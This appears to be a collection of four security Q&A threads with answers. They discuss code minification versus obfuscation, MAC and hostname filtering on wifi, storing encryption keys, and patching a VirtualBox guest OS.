Should I complie software after making all the variable and function names "1-2 character"? In JavaScript, it seems common for the official release of the code to use only single-character variable and function names (of course, after converting the original code which uses clearer names) in order to make the code more obscure. I've seen people reverse engineering software to find what seems to be the original variable (and maybe even function) names in the binaries. That helps people with debugging and developing their own code snippets to modify the software. However, it can also make it easier for malicious personnel to interpret and make malware for the code.

Is it a good idea to convert all variable and function names to single- (or double-) character names like with JavaScript before compiling to make the binaries more obscure (and I think a bit shorter too), which in turn makes it harder to reverse engineer?

Often times what you are seeing with those few-character variables names is JS code that's been minified and packed down to reduce its size, allowing the client to download- sometimes significantly- fewer bytes than if the code was otherwise not minified; the slight obfuscation you are seeing is merely a byproduct and not the main goal of minification. Something like JS Compress can compress code up to 80%.

If you are seeking true obfuscation you could try something like obfuscator.io which can make it harder to decode what is actually going on, though it is important to note that all front-end code obfuscation techniques can be reversed. Obfuscation serves to slow attackers down rather than keeping information secured.


Does restricting the names of computers allowed to connect to a wifi network provide any security In response to a statement elsewhere that MAC address filtering was essentially useless for protecting a wifi network because it was trivially by passable by network attack tools, I was asked if the combination of requiring a mac address and computer name (eg "Dan-Laptop") would work.

Having never seen this recommended elsewhere I suspect the answer is no; but I'm not familiar enough with wifi protocols to know one way or the other.

Short version
No.  All you need is WPA2-AES with a custom SSID and a strong passphrase.  All this assumes a "home" scenario where the AP and clients are using a PSK (preshared key).  In Enterprise settings there are a couple of other attack vectors but one nice thing about a PSK is it greatly simplifies the attack surface.  It pretty much comes down to the attacker can guess they key or they can't.
Slightly longer version
First of all I have never seen computer name filtering that actually filters based on computer name.  I am pretty sure what you are seeing is just a more consumer friendly way to enable MAC filtering.  When you allow "Dan-Laptop" in the config, the AP is adding the MAC address for "Dan-Laptop" to the ACL.
Even if your router implemented hostname filtering which worked independent of the MAC addresses, it wouldn't change the answer.  The only thing more trivial to spoof than a MAC address would be a hostname.  The ability to rename a computer name is part of the underlying operating system.

A cryptosystem should be secure even if everything about the system,
except the key, is public knowledge.

The MAC addresses and hostname of clients are public knowledge.  The ip address assignments (static, or restricted dhcp) of systems on the LAN are public knowledge.  The SSID, channel usage, frequency and even the presence of the AP radio are public knowledge.  Yes so called "hidden" SSID serves no security purpose either, then again it was never intended as a security feature.  Assume the attacker already knows all of that information.  There is one thing which is not public knowledge and that is the PSK (passphrase) so your entire security boils down to a strong cryptosystem (WPA2) and an unguessable passphrase.
I think the desire for something more is related to hearing about how security is hard and defenses should be layered.  They certainly should in in complex scenarios with multiple variables as it is often difficult to model all the potential risks.  In this case however authentication is straightforward and the risk model is simple.  WPA2-AES is currently "unbroken".  That means the entire security of your AP boils down to can the attacker guess the passphrase.  If they can you lose.  It really is that simple and it is the way strong cryptography should work.  The system is secure even though the attacker knows everything about the system except the secret (key).


Is there a reason to encrypt an encryption key with a certificate before storing it? Suppose my .Net application which is installed in the client encrypts a data.
I want to use a different key generated randomly for each client so each client doesn't know the key of the other.
Someone told me that storing it plain in a file is not good enough, and it's better to use a certificate to encrypt this key before storing it.
But I don't see the difference. If a hacker hacks to the client's computer and can copy the plain text key from the file, he can also get the private keys and certificates from the certificates store and use them to decrypt and get the original key.

This is a discussion which has been mentioned tons of times before on this website. You are correct in your statement saying that this merely obfuscates (so security by obscurity) the encryption key. Some people like to do it to make it a lot harder on attackers to get access to their keys. In the end you can only slow them down.

So what's the difference? Not a lot except you might gain a bit of time.


Should I (care to) install security updates if I run on VirtualBox I'm running Ubuntu 14.0.4 LTS on Oracle VirtualBox. The host system is Windows 10 with Bitdefender Antivirus.

Should I still install security updates for the guest OS?

As you said, you're virtual machine is connecting to the internet. If you're using an outdated package with security vulnerabilities, your guest OS can get compromised. (How depends on the security vulnerability and the usage of the virtual machine.)

If an attacker has access to your virtual machine, he can try to break out of the virtual machine to get access on the host system, even if the host system is fully patched. An attacker with code execution on an system in your environment is always bad, even if it's an unimportant part of your environment.

If he is on the virtual machine, he has very likely access to your local network and can attack all systems that are accessible from your system.

Another possible way could be a shared directory of the host system which is accessible from the virtual machine.

Even if the other two things are not possible and he could try an attack like the row hammer exploit to break out to the host system.